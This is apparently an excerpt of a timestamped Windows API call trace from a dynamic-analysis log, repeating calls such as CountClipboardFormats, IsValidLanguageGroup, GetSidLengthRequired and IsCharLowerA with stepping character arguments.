[0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=63) returned 0 [0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=32) returned 0 [0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=33) returned 0 [0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=34) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=35) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=36) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=37) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=38) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=39) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=40) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=41) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.028] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.028] IsCharLowerA (ch=42) returned 0 [0037.028] CountClipboardFormats () returned 0 [0037.028] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=43) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=44) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=45) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=46) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=47) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=48) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=49) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=50) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.029] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.029] IsCharLowerA (ch=51) returned 0 [0037.029] CountClipboardFormats () returned 0 [0037.029] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=52) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=53) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=54) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=55) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=56) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=57) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=58) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=59) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.030] IsCharLowerA (ch=60) returned 0 [0037.030] CountClipboardFormats () returned 0 [0037.030] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.030] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=61) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=62) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=63) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=32) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=1) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=2) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=3) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=4) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.031] IsCharLowerA (ch=5) returned 0 [0037.031] CountClipboardFormats () returned 0 [0037.031] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.031] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=6) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=7) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=8) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=9) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=10) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=11) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=12) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=13) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.032] IsCharLowerA (ch=14) returned 0 [0037.032] CountClipboardFormats () returned 0 [0037.032] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.032] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=15) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=16) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=17) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=18) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=19) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=20) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=21) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=22) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.033] IsCharLowerA (ch=23) returned 0 [0037.033] CountClipboardFormats () returned 0 [0037.033] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.033] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=24) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.034] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=25) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.034] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=26) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.034] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=27) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.034] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=28) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.034] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=29) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.034] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=30) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.034] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=31) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.034] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.034] IsCharLowerA (ch=32) returned 0 [0037.034] CountClipboardFormats () returned 0 [0037.034] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=1) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=2) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=3) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=4) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=5) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=6) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=7) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=8) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.035] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.035] IsCharLowerA (ch=9) returned 0 [0037.035] CountClipboardFormats () returned 0 [0037.035] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=10) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=11) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=12) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=13) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=14) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=15) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=16) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=17) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.036] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.036] IsCharLowerA (ch=18) returned 0 [0037.036] CountClipboardFormats () returned 0 [0037.036] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=19) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=20) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=21) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=22) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=23) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=24) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=25) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=26) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.037] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.037] IsCharLowerA (ch=27) returned 0 [0037.037] CountClipboardFormats () returned 0 [0037.037] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=28) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=29) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=30) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=31) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=32) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=1) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=2) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=3) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.038] IsCharLowerA (ch=4) returned 0 [0037.038] CountClipboardFormats () returned 0 [0037.038] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.038] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.039] IsCharLowerA (ch=5) returned 0 [0037.039] CountClipboardFormats () returned 0 [0037.039] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.039] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.039] IsCharLowerA (ch=6) returned 0 [0037.039] CountClipboardFormats () returned 0 [0037.039] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.039] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.039] IsCharLowerA (ch=7) returned 0 [0037.039] CountClipboardFormats () returned 0 [0037.039] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.051] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.051] IsCharLowerA (ch=8) returned 0 [0037.051] CountClipboardFormats () returned 0 [0037.051] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.051] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.051] IsCharLowerA (ch=9) returned 0 [0037.051] CountClipboardFormats () returned 0 [0037.051] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.051] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.051] IsCharLowerA (ch=10) returned 0 [0037.051] CountClipboardFormats () returned 0 [0037.051] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.051] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.051] IsCharLowerA (ch=11) returned 0 [0037.051] CountClipboardFormats () returned 0 [0037.051] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=12) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=13) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=14) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=15) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=16) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=17) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.052] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.052] IsCharLowerA (ch=18) returned 0 [0037.052] CountClipboardFormats () returned 0 [0037.052] 